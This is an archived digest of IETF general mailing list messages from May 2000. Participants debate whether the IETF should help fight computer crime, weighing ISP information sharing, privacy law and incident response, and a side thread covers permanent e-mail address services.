Message-ID: <202F03744BDCD31194270000F803CA9E76FD0C@cxoexc2.cxo.dec.com>
From: "Maddux, Michel" <Michel.Maddux@compaq.com>
To: IETF general mailing list <ietf@ietf.org>
Subject: RE: Should IETF do more to fight computer crime? 
Date: Tue, 23 May 2000 17:00:39 -0500
Return-Receipt-To: "Maddux, Michel" <Michel.Maddux@COMPAQ.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
X-Loop: ietf@ietf.org

When the procedures dictate that government agencies get involved at certain
points
and you notify them of the outage or problem, what other steps do you
recommend?  
Operational entities are not, in most cases,  law enforcement agencies.
There is a limit to 
how much notification one should undertake in these situations.
thanks. /m.

> -----Original Message-----
> From:	Dawson, Peter D [SMTP:Dawson.Peter@EMERYWORLD.COM]
> Sent:	Tuesday, May 23, 2000 3:22 PM
> To:	IETF general mailing list
> Subject:	RE: Should IETF do more to fight computer crime? 
> 
> 
> >On Tue, 23 May 2000 18:27:41 -0000, "Dawson, Peter D" 
> ><Dawson.Peter@emeryworld.com>  said:
> >> True, but only the origin of packets are determined. What is 
> >needed is
> >> a code of ethics between ISPs , to share information.
> >> i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
> >> very rarely would isp1 be willing to disclose to isp2,...
> >> which (user) is leased that specific dynamic ip address.
> >
> >Note that many providers may be legally bound to not give any more
> >information than "Yeah, that's one of our IP addresses".  I know we
> >have a lot of issues regarding privacy laws due to the fact that we're
> >an agency of the Commonwealth of Virginia.  If we find that one of our
> >students has been naughty, about all we can say to people outside is
> >that we're aware of it and that action is being taken as per 
> >our procedures.
> >-- 
> 
> lets say a non-student was naughty and was attacking the vt.edu network...
> would you feel satisfied with the answer.. "we're aware of it and that 
> action is being taken as per our procedures".... knowing fully well that
> the outage costs is running into a couple of millions on a single site ??
> /pd



From owner-ietf-outbound  Tue May 23 18:20:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA11049
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 18:20:02 -0400 (EDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10423
	for <ietf@ietf.org>; Tue, 23 May 2000 18:05:45 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 363084CE07; Tue, 23 May 2000 18:05:42 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id SAA07440;
	Tue, 23 May 2000 18:05:41 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 8C42F35DC2; Tue, 23 May 2000 18:05:35 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Valdis.Kletnieks@vt.edu
Cc: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>,
        IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 23 May 2000 18:05:35 -0400
Sender: smb@research.att.com
Message-Id: <20000523220535.8C42F35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <200005232110.e4NLAJn28210@black-ice.cc.vt.edu>, Valdis.Kletnieks@vt
.edu writes:
>On Tue, 23 May 2000 18:27:41 -0000, "Dawson, Peter D" <Dawson.Peter@emeryworld
>.com>  said:
>> True, but only the origin of packets are determined. What is needed is
>> a code of ethics between ISPs , to share information.
>> i.e once a packet leaves isp1 cloud and travels across isp2 cloud,
>> very rarely would isp1 be willing to disclose to isp2,...
>> which (user) is leased that specific dynamic ip address.
>
>Note that many providers may be legally bound to not give any more
>information than "Yeah, that's one of our IP addresses".  I know we
>have a lot of issues regarding privacy laws due to the fact that we're
>an agency of the Commonwealth of Virginia.  If we find that one of our
>students has been naughty, about all we can say to people outside is
>that we're aware of it and that action is being taken as per our procedures.

Right.  On the other hand, the AP reports that a French-government 
sponsored bill would bar anonymous posting to the net.  For details, 
see http://www.techserver.com/noframes/story/0,2294,500207446-500289602-501571097-0,00.html


		--Steve Bellovin




From owner-ietf-outbound  Tue May 23 18:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA12488
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 18:50:03 -0400 (EDT)
Received: from moby.jaws.umn.edu (root@moby.jaws.umn.edu [134.84.132.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12251
	for <ietf@ietf.org>; Tue, 23 May 2000 18:41:36 -0400 (EDT)
Received: from phish.micro.umn.edu (phish.micro.umn.edu [134.84.134.52])
	by moby.jaws.umn.edu (8.9.3/8.9.3) with ESMTP id RAA22474;
	Tue, 23 May 2000 17:41:37 -0500 (CDT)
Received: (from iacovou@localhost)
	by phish.micro.umn.edu (8.9.3/8.9.3) id RAA14225;
	Tue, 23 May 2000 17:38:51 -0500 (CDT)
From: Danny Iacovou <iacovou@software.umn.edu>
Message-Id: <200005232238.RAA14225@phish.micro.umn.edu>
Subject: Re: Should IETF do more to fight computer crime?
To: smb@research.att.com (Steven M. Bellovin)
Date: Tue, 23 May 2000 17:38:50 -0500 (CDT)
Cc: Valdis.Kletnieks@VT.EDU, Dawson.Peter@emeryworld.com (Dawson Peter D),
        ietf@ietf.org (IETF general mailing list)
In-Reply-To: <20000523220535.8C42F35DC2@smb.research.att.com> from "Steven M. Bellovin" at May 23, 2000 06:05:35 PM
X-Favorite-Rooster: Foghorn Leghorn
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Steven M. Bellovin writes:
> 
> Right.  On the other hand, the AP reports that a French-government 
> sponsored bill would bar anonymous posting to the net.  For details, 
> see http://www.techserver.com/noframes/story/0,2294,500207446-500289602-501571097-0,00.html

  But should the IETF be fighting this fight? Does the IETF send someone
  to France in hopes of convincing politicians not to do this? Do we have
  the most convincing tongues? The strength of the IETF is in technology. 
  
  Right now we don't even have enough resources to go back and update 
  RFCs with augmented notes stating how popular implementations differ 
  from spec. 

  BTW: I'm not intending to pick on Mr. Bellovin. 

--------------------------------------------------------------------------------
Neophytos Iacovou                                    University of Minnesota
Academic & Distributed Computing Services            100 Union St. SE
email: iacovou@boombox.micro.umn.edu                 Minneapolis, MN 55455 USA



From owner-ietf-outbound  Tue May 23 19:30:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA13201
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 19:30:02 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13153
	for <ietf@ietf.org>; Tue, 23 May 2000 19:24:39 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id ECD8E1E005; Tue, 23 May 2000 19:24:38 -0400 (EDT)
Received: from smb.research.att.com (secure.research.att.com [135.207.25.14])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id TAA08479;
	Tue, 23 May 2000 19:24:35 -0400 (EDT)
Received: from smb.research.att.com (localhost [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id A4CE335DC2; Tue, 23 May 2000 19:24:27 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Danny Iacovou <iacovou@software.umn.edu>
Cc: Valdis.Kletnieks@vt.edu, Dawson.Peter@emeryworld.com (Dawson Peter D),
        ietf@ietf.org (IETF general mailing list)
Subject: Re: Should IETF do more to fight computer crime? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 23 May 2000 19:24:26 -0400
Sender: smb@research.att.com
Message-Id: <20000523232427.A4CE335DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <200005232238.RAA14225@phish.micro.umn.edu>, Danny Iacovou writes:
>Steven M. Bellovin writes:
>> 
>> Right.  On the other hand, the AP reports that a French-government 
>> sponsored bill would bar anonymous posting to the net.  For details, 
>> see http://www.techserver.com/noframes/story/0,2294,500207446-500289602-5015
>71097-0,00.html
>
>  But should the IETF be fighting this fight? Does the IETF send someone
>  to France in hopes of convincing politicians not to do this? Do we have
>  the most convincing tongues? The strength of the IETF is in technology. 
>  
>  Right now we don't even have enough resources to go back and update 
>  RFCs with augmented notes stating how popular implementations differ 
>  from spec. 
>

I wasn't suggesting that we should fight it; I was merely citing it as 
an example of governments following their own agendas, regardless of 
the underlying technologies.


		--Steve Bellovin




From owner-ietf-outbound  Tue May 23 21:10:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA14124
	for ietf-outbound.10@ietf.org; Tue, 23 May 2000 21:10:01 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA14095
	for <ietf@ietf.org>; Tue, 23 May 2000 21:06:02 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id TAA15258
	for ietf@ietf.org  env-from <vjs>;
	Tue, 23 May 2000 19:06:02 -0600 (MDT)
Date: Tue, 23 May 2000 19:06:02 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005240106.TAA15258@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: Should IETF do more to fight computer crime?
X-Loop: ietf@ietf.org

> From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>

> ...
> I agree on the technical reality of tbyte storage/tcpdump etc...

(really technical unreality)


> >Technical reality always trumps political blather everywhere 
> >that matters.
>
> Yes, but if I were  behind a DMZ and my IDS triggers... and if I got a
> source address .. my question is...
>  would 'THe ISP' provide any type of information to  negate the threat ? is
> this a political problem?? , beyond technical reality or just plain
> non-compliance to 'Collabration' ???

How do you identify "The ISP"?  RFC 2267 is about ingress filtering,
but not egress filtering, logging, flagging, or informing.

If you do trust that the IP source address is valid, then what do you need
with anything more than we've had for decades?  Why can't you telephone
a domain contact, and get whatever information or promises of action that
the other guy is willing and able to give?

As for negating threats, regardless of what the apparent source says,
don't you think that the wise course for you is to ensure that your own
defenses render the attack harmless?


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Wed May 24 02:31:04 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA29993
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 02:30:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA29945
	for <ietf@ietf.org>; Wed, 24 May 2000 02:20:38 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4O6Kbn38988;
	Wed, 24 May 2000 02:20:37 -0400
Message-Id: <200005240620.e4O6Kbn38988@black-ice.cc.vt.edu>
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
In-reply-to: Your message of "Tue, 23 May 2000 21:22:11 -0000."
             <C7091526C06AD211A7450004AC384A350C35D209@mwabs035.emeryworld.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <C7091526C06AD211A7450004AC384A350C35D209@mwabs035.emeryworld.com>
Date: Wed, 24 May 2000 02:20:37 -0400
X-Loop: ietf@ietf.org

On Tue, 23 May 2000 21:22:11 -0000, "Dawson, Peter D" <Dawson.Peter@emeryworld.com>  said:
> lets say a non-student was naughty and was attacking the vt.edu network...
> would you feel satisfied with the answer.. "we're aware of it and that 
> action is being taken as per our procedures".... knowing fully well that
> the outage costs is running into a couple of millions on a single site ??

1) As a member of our local CIRT, let me assure you that although
that response usually doesn't give me warm fuzzies, hearing that
action *was* being taken, and being convinced that the people taking
the action were technically clued enough to do it, is at least
something.  We recently had one incident, where the source site was
a smallish but not tiny ISP.  Turned out they were more than willing
to help, but they were glad that they billed users a flat rate per
month because they didn't have a *clue* how to bill per hour of
connect time because they didn't know where their TAKAX (yes,
that's what they called it - took us a while to decipher it)
logs were going....

2) Much as I'd *love* to be really open with other sites who report
problems with our users, I'm certainly in no mood to have our
legal staff hassling me because I got the university into hot
water by releasing information we weren't allowed to release.

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Wed May 24 03:00:50 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA00291
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 03:00:03 -0400 (EDT)
Received: from protactinium ([194.73.73.176])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA00261
	for <ietf@ietf.org>; Wed, 24 May 2000 02:54:30 -0400 (EDT)
Received: from [62.7.2.98] (helo=patonmj)
	by protactinium with smtp (Exim 2.05 #1)
	id 12uV3j-0000cu-00; Wed, 24 May 2000 07:54:27 +0100
From: "mark.paton" <mark.paton@btinternet.com>
To: "Danny Iacovou" <iacovou@software.umn.edu>
Cc: <ietf@ietf.org>
Subject: RE: IETF *is* computer crime.
Date: Wed, 24 May 2000 07:56:52 +0100
Message-ID: <NCBBINIKLKLJEEDCGLOAMEBDCGAA.mark.paton@btinternet.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0000_01BFC555.9FCDF430"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <200005231912.OAA11219@phish.micro.umn.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4029.2901
Importance: Normal
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01BFC555.9FCDF430
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Danny,
Bob can fuel this arguement this topic for years
and needs no prompting from anyone.  Don't get me
wrong technically speaking he's on the ball, but
politically speaking like all technicians suck.
This arguement should be binned and not fueled.

Bob, if you got this mail then give it a rest.
The IETF does a great job and does'nt deserve or
warrent this attack.  The people who deserve it
are the politicians who are trying to implement
"laws" on the use of the InterNet, have a go at
them and leave this group alone.

Have a nice now.

Regards

Mark Paton CEO/DIR. Internet Network Eng
Mercury Network Systems Limited
+44 585 649051
+44 1256 761925
http://www.mnsl.org

"Mercury Network Systems - The Unstoppable Force"

This e-mail is intended only for the addressee
named above. As this e-mail may contain
confidential or privileged information if you are
not, or suspect that you are not, the named
addressee or the person responsible for delivering
the message to the named addressee, please
telephone us immediately. Please note that we
cannot guarantee that this message or any
attachment is virus free or has not been
intercepted and amended.


The views of the author may not necessarily
reflect those of the Company.


-----Original Message-----
From: Danny Iacovou
[mailto:iacovou@software.umn.edu]
Sent: 23 May 2000 20:13
To: Bob Allisat
Cc: ietf@ietf.org
Subject: Re: IETF *is* computer crime.



 Hello Bob,

 I think you are being too harsh on the
IETF, ISOC, ICANN, ITU, and
 "whatever other unsanctioned, informal
acretion of pseudo-authorities
 should arise".

 As an example, a group of people decided
to coordinate efforts in order
 to communicate with each other. They
agreed on a format for the
 correspondance, and they agreed on a
delivery protocol. Before you know
 it, email is born. Such efforts are a
good thing. By agreeing with each
 other on the mechanics of such a
transaction we've enabled the transaction
 to occur (aside from actual implementation).

 What wasn't agreed on? Well, one thing
not agreed on is what to do if
 correspondance is sent 'anonymously',
containing material that may be of
 interest to some authority of law, in
some country (not even connected to
 the 'Net at the time email is "standardized").

 And of course this is but one possible
scenerio not accounted for by
 the standard describing format and
delivery of one particular type
 of electronic correspondance. But the
standard never tried to address
 any issues it didn't address - it is
complete in what it is. That isn't
 anyone's fault, is it? technologists are
technologists, not students of
 international law.

 The goal of the IETF is to get us from
point A to point B. It isn't to
 get us from point A to point B with no
shit (for lack of a better word)
 in our way.


------------------------------------------
--------------------------------------
Neophytos Iacovou
           University of Minnesota
Academic & Distributed Computing Services
           100 Union St. SE
email: iacovou@boombox.micro.umn.edu
           Minneapolis, MN 55455 USA


------=_NextPart_000_0000_01BFC555.9FCDF430
Content-Type: text/x-vcard;
	name="Mark. J.S Paton.vcf"
Content-Disposition: attachment;
	filename="Mark. J.S Paton.vcf"
Content-Transfer-Encoding: quoted-printable

BEGIN:VCARD
VERSION:2.1
N:Paton;Mark.;J.S;;
FN:Mark. J.S Paton
ORG:Mnsl;Consultancy
TITLE:Network Design / Support
TEL;WORK;VOICE:+44 0585 649051
TEL;CELL;VOICE:+44 (0585) 649051
ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;Basingstoke;Willow =
Cottage=3D0D=3D0AReading Road;Mattingley;Hampshire;RG27 8JU;=3D
United Kingdom
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:Basingstoke=3D0D=3D0AWillow =
Cottage=3D0D=3D0AReading Road=3D0D=3D0AMattingley, Hampshire=3D
 RG27 8JU=3D0D=3D0AUnited Kingdom
URL:
URL:http://www.mnsl.org
EMAIL;PREF;INTERNET:mark.paton@mnsl.org
REV:19990422T133901Z
END:VCARD

------=_NextPart_000_0000_01BFC555.9FCDF430--



From owner-ietf-outbound  Wed May 24 06:51:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA02071
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 06:50:02 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA01981
	for <ietf@ietf.org>; Wed, 24 May 2000 06:46:23 -0400 (EDT)
Received: (qmail 22125 invoked from network); 24 May 2000 10:46:22 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 24 May 2000 10:46:22 -0000
Received: (qmail 24117 invoked from network); 24 May 2000 10:46:21 -0000
Received: from ppp-47-125.lander.es (HELO salva) (195.76.47.125)
  by lince.lander.es with SMTP; 24 May 2000 10:46:21 -0000
Message-Id: <3.0.6.32.20000524125329.008c35d0@lince.lander.es>
X-Sender: svidal@lince.lander.es (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Wed, 24 May 2000 12:53:29 +0200
To: zhengyq@sdp.ee.tsinghua.edu.cn (Zheng Youquan)
From: Salvador Vidal <svidal@lander.es>
Subject: Universal & Permanent e-mail address
Cc: ietf@ietf.org
In-Reply-To: <001a01bfc2c8$c8ddf3a0$ec406fa6@Zhengyq>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hello Zheng,

At 10:03 21/05/00 +0800, you wrote:
>I want to ask him some questions. 
>thank you very much!
>
>
In order to have an universal and permanent e-mail address system wich
allow us to:
No need to know wich is his current ISP.
Less unusefull trafic as we avoid mistakes when somebody changes his ISP.
Not need to check searches engines probabily not updated.
Reduction of ISP change barriers so introduce more competitivity on the
sector then better services and/or lowers prices.
...
And the main reason: not to have more mesages from you asking for your
friends at this list ;-) 

Which do you think will be the better solution?:
-Something like postal address, which let us to send e-mails to a person
just knowing i.e. their name and the city in wich he lives, i.e.:
scottshenker@helsinky.fi 
(Of course we will need more if there are more than one Scott Shenker at
this city, and some kind of redirect way when he changes his residence city)

-That the users become the owners of their e-mail address, and the ISP have
to redirect the message to the current ISP of Scott.

-Other...

Best Regards,
Salva



From owner-ietf-outbound  Wed May 24 07:01:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA02320
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 07:00:02 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA01988
	for <ietf@ietf.org>; Wed, 24 May 2000 06:46:29 -0400 (EDT)
Received: (qmail 22150 invoked from network); 24 May 2000 10:46:28 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 24 May 2000 10:46:28 -0000
Received: (qmail 24170 invoked from network); 24 May 2000 10:46:27 -0000
Received: from ppp-47-125.lander.es (HELO salva) (195.76.47.125)
  by lince.lander.es with SMTP; 24 May 2000 10:46:27 -0000
Message-Id: <3.0.6.32.20000524125338.007a0100@lince.lander.es>
X-Sender: svidal@lince.lander.es (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Wed, 24 May 2000 12:53:38 +0200
To: africaservice <africaservice@africaservice.com>
From: Salvador Vidal <svidal@lander.es>
Subject: Re: Re-Computer Crime
Cc: ietf@ietf.org
In-Reply-To: <38B23323.43DB8518@africaservice.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hello Dele,

At 22:56 21/02/00 -0800, you wrote:
>We should know that computer technology is as old as we wanted to
>accept. The whole thing was not meant for public consumption until after
>sometime. Now that it is in the public's domain, many are using the
>system reasonably while others find joy in cracking into the system,
>allow the crackers to go ahead with what they know how to do best, I
>think is a good thing as it will enable computer designers to be more
>security conscious and give us a more secured device if this is the tool
>we will be using in the future.

One thing is to promote a hackers chapionship agains a concrete target, and
something diferent to impulse hackers to atack people computers, please
clarify your position before someone understand that you want he to
manipulate your car in order to improve the hospital skills.

Best Regards,
Salva


>Dele Olawole
>CEO - Africaservice.com
>http://www.africaservice.com
>
>
>



From owner-ietf-outbound  Wed May 24 07:52:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA03553
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 07:50:03 -0400 (EDT)
Received: from tieke1.tieke.fi (fw.tieke.fi [195.197.205.68])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03454
	for <ietf@ietf.org>; Wed, 24 May 2000 07:45:24 -0400 (EDT)
Received: by TIEKE1 with Internet Mail Service (5.5.2650.21)
	id <LJ3J98PK>; Wed, 24 May 2000 14:45:37 +0200
Message-ID: <621574AE86FAD3118D1D0000E22138A903E6A5@TIEKE1>
From: Erkki Kolehmainen <Erkki.Kolehmainen@tieke.fi>
To: "'Salvador Vidal'" <svidal@LANDER.ES>, zhengyq@sdp.ee.tsinghua.edu.cn
Cc: ietf@ietf.org, "'eik@iki.fi'" <eik@iki.fi>
Subject: RE: Universal & Permanent e-mail address
Date: Wed, 24 May 2000 14:45:37 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id HAA03454
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Dear Mr Vidal,

Since you happened to use helsinky.fi (erroneously for helsinki) in your
example, I decided to inform you of the service for permanent e-mail
addresses that we have in Finland, provided by IKI, The Internet Users
Forever, a not-for-profit association.

The following is an extract from their web pages at http://www.iki.fi.

English summary: The Internet Users Forever IKI is a society that provides
its members, private individuals in Finland, permanent iki.fi-addresses with
e-mail and WWW forwarding services (IKI does not host the web pages, it just
forwards the addresses). This allows our members to keep the same personal
identity should the actual location or ISP of their e-mail or www homepages
change. 

Thus, I have a permanent incoming (home) e-mail address at iki.fi, although
my ISP is currently kolumbus.fi (which is also shown on all outgoing traffic
from my home). The system works.

Best regards, EIK
__________________________________________
Erkki I. Kolehmainen
TIEKE Tietotekniikan kehittämiskeskus ry
TIEKE Finnish Information Technology Development Centre 
Salomonkatu 17 A, 10th floor, FIN-00100 HELSINKI, FINLAND
Phone: +358 9 4763 0301, Fax: +358 9 4763 0399
http://www.tieke.fi    erkki.kolehmainen@tieke.fi


-----Original Message-----
From: Salvador Vidal [mailto:svidal@LANDER.ES]
Sent: Wednesday, May 24, 2000 1:53 PM
To: zhengyq@sdp.ee.tsinghua.edu.cn
Cc: ietf@ietf.org
Subject: Universal & Permanent e-mail address


Hello Zheng,

At 10:03 21/05/00 +0800, you wrote:
>I want to ask him some questions. 
>thank you very much!
>
>
In order to have an universal and permanent e-mail address system wich
allow us to:
No need to know wich is his current ISP.
Less unusefull trafic as we avoid mistakes when somebody changes his ISP.
Not need to check searches engines probabily not updated.
Reduction of ISP change barriers so introduce more competitivity on the
sector then better services and/or lowers prices.
...
And the main reason: not to have more mesages from you asking for your
friends at this list ;-) 

Which do you think will be the better solution?:
-Something like postal address, which let us to send e-mails to a person
just knowing i.e. their name and the city in wich he lives, i.e.:
scottshenker@helsinky.fi 
(Of course we will need more if there are more than one Scott Shenker at
this city, and some kind of redirect way when he changes his residence city)

-That the users become the owners of their e-mail address, and the ISP have
to redirect the message to the current ISP of Scott.

-Other...

Best Regards,
Salva



From owner-ietf-outbound  Wed May 24 08:11:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA04072
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 08:10:03 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03747
	for <ietf@ietf.org>; Wed, 24 May 2000 07:59:03 -0400 (EDT)
Received: from langfjella.maxware.no ([193.44.76.100])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id NAA12322;
	Wed, 24 May 2000 13:58:22 +0200
Message-Id: <4.3.1.2.20000524135544.03d1c080@127.0.0.1>
X-Sender: hta@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 24 May 2000 13:55:46 +0200
To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>,
        IETF general mailing list <ietf@ietf.org>
From: Harald Alvestrand <Harald@Alvestrand.no>
Subject: Privacy (RE: Should IETF do more to fight computer crime?)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 18:27 23.05.2000 +0000, Dawson, Peter D wrote:
>btw, this info would be required on the fly... so that net admin/sec
>would be in a better position to pinpoint the perpetrator's habits/
>physiological profile etc..
the idea that any net admin in the world can be authorized on the fly to 
pinpoint my habits, physiological profiles "etc" by an unverified 
accusation of suspicion of computer crime does not strike joy into my heart.

I'm glad it's illegal in Norway.

                   Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Wed May 24 08:51:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA04805
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 08:50:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04681
	for <ietf@ietf.org>; Wed, 24 May 2000 08:41:45 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id FAA22236
	for <ietf@ietf.org>; Wed, 24 May 2000 05:41:15 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <L2AKNGP1>; Wed, 24 May 2000 12:33:52 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D20A@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: "'IETF general mailing list'" <ietf@ietf.org>
Subject: RE: Privacy (RE: Should IETF do more to fight computer crime?)
Date: Wed, 24 May 2000 12:40:44 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


<snip>...

>pinpoint my habits, physiological profiles "etc" by an unverified 
                                                        ^^^^^^^^^^ 
>accusation of suspicion of computer crime .....
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

So the "unverified accusation" ... should become "verifiable" and this
could only be possible if there is a code of ethics between noc/isp etc...
i.e just what I suggested in my earlier posting...

/pd



From owner-ietf-outbound  Wed May 24 09:31:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA05562
	for ietf-outbound.10@ietf.org; Wed, 24 May 2000 09:30:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05472
	for <ietf@ietf.org>; Wed, 24 May 2000 09:23:30 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id IAA09771;
	Wed, 24 May 2000 08:22:57 -0400
Date: Wed, 24 May 2000 08:22:56 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Harald Alvestrand <Harald@Alvestrand.no>
Cc: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>,
        IETF general mailing list <ietf@ietf.org>
Subject: Re: Privacy (RE: Should IETF do more to fight computer crime?)
Message-ID: <20000524082256.A1837@alcove.wittsend.com>
References: <4.3.1.2.20000524135544.03d1c080@127.0.0.1>
